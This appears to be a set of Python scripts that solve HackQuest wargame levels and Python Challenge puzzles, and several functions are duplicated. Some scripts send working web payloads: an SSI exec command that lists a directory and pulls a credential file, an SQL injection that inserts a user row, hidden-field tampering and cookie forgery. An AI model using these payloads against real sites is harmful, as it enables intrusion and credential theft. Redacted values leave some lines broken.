def main(): data = urlencode({ 'emailaddress':'<!--#exec cmd="ls ../images__"-->', }) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/118116.php', data) root = etree.fromstring(result, etree.HTMLParser()) url = root.xpath('//a')[0].attrib['href'] result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/' + url) open('result.html', 'w').write(result) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/118116/images__/userauthinfo0205.txt') open('userauthinfo0205.txt', 'w').write(result)
def main(): data = urlencode({ 'name':r""""; INSERT INTO nuke_hackchallenge (user, pass) VALUES ('ckclark', 'password'); --""", 'password':r"""no""", }) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/8/8.php', data) open('result.html', 'w').write(result) data = urlencode({ 'name':r"""ckclark""", 'password':r"""password""", }) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/8/8.php', data) open('pass.html', 'w').write(result)
def main(): data = urlencode({ 'emailaddress': '<!--#exec cmd="ls ../images__"-->', }) result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/118116/118116.php', data) root = etree.fromstring(result, etree.HTMLParser()) url = root.xpath('//a')[0].attrib['href'] result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/118116/' + url) open('result.html', 'w').write(result) result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/118116/images__/userauthinfo0205.txt' ) open('userauthinfo0205.txt', 'w').write(result)
def main(): data = urlencode({ 'name': r""""; INSERT INTO nuke_hackchallenge (user, pass) VALUES ('ckclark', 'password'); --""", 'password': r"""no""", }) result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/8/8.php', data) open('result.html', 'w').write(result) data = urlencode({ 'name': r"""ckclark""", 'password': r"""password""", }) result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/8/8.php', data) open('pass.html', 'w').write(result)
def reg(): data = urlencode({ 'action': 'reg', 'username':'******', 'password':'******', }) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/6/6.php', data) open('result.html', 'w').write(result)
def show(): data = urlencode({ 'action': 'show', 'username': '******', 'password': '******', 'Data[level]': '8', }) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/6/6.php?action=show', data) open('pass.html', 'w').write(result)
def get_cookie(): parser = etree.HTMLParser() web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php') #open('first.html', 'w').write(web_src) root = etree.fromstring(web_src, parser) a = root.xpath('//a')[0] link = a.attrib['href'] firstpat = re.compile(r'\d+') fout = open('chain.txt', 'w') fcookie = open('cookie.txt', 'w') number = firstpat.search(link).group(0) fout.write(number + '\n') pat = re.compile(r'busynothing is (\d+)') cookiepat = re.compile(r'info=(.+?);') while True: web_src, header = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing=' + number, need_header=True) #open('page%d.html' % count, 'w').write(web_src) info = cookiepat.search(header.getheader('Set-Cookie')).group(1) fcookie.write(info + '\n') number = pat.search(web_src).group(1) fout.write(number + '\n') print number, info
def main(): #parser = etree.HTMLParser() #web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php') ##open('first.html', 'w').write(web_src) #root = etree.fromstring(web_src, parser) #a = root.xpath('//a')[0] #link = a.attrib['href'] pat = re.compile(r'\d+') fout = open('chain.txt', 'a') number = '63579' #pat.search(link).group(0) fout.write(number + '\n') count = 0 while True: web_src = fetch_web('http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing=' + number) #open('page%d.html' % count, 'w').write(web_src) count += 1 number = pat.search(web_src).group(0) fout.write(number + '\n') print number
def main(): data = urlencode({'name':'a' * 16, 'password':'******' * 16}) result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/3/3.php', data) open('result.html', 'w').write(result)
def main(): data = urlencode({'name': 'a' * 16, 'password': '******' * 16}) result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/3/3.php', data) open('result.html', 'w').write(result)
def main(): result = fetch_web('http://hackquest.com/modules/HackQuest/hacking/9/challenge.php', Cookie='pass='******'SickPuppy').hexdigest()) open('result.html', 'w').write(result)
def main(): result = fetch_web( 'http://hackquest.com/modules/HackQuest/hacking/9/challenge.php', Cookie='pass='******'SickPuppy').hexdigest()) open('result.html', 'w').write(result)
def send_message_to_leopold(): message = quote_plus('the flowers are on their way') result = fetch_web('http://www.pythonchallenge.com/pc/stuff/violin.php', Cookie="info=" + message + ";") open('result.html', 'w').write(result)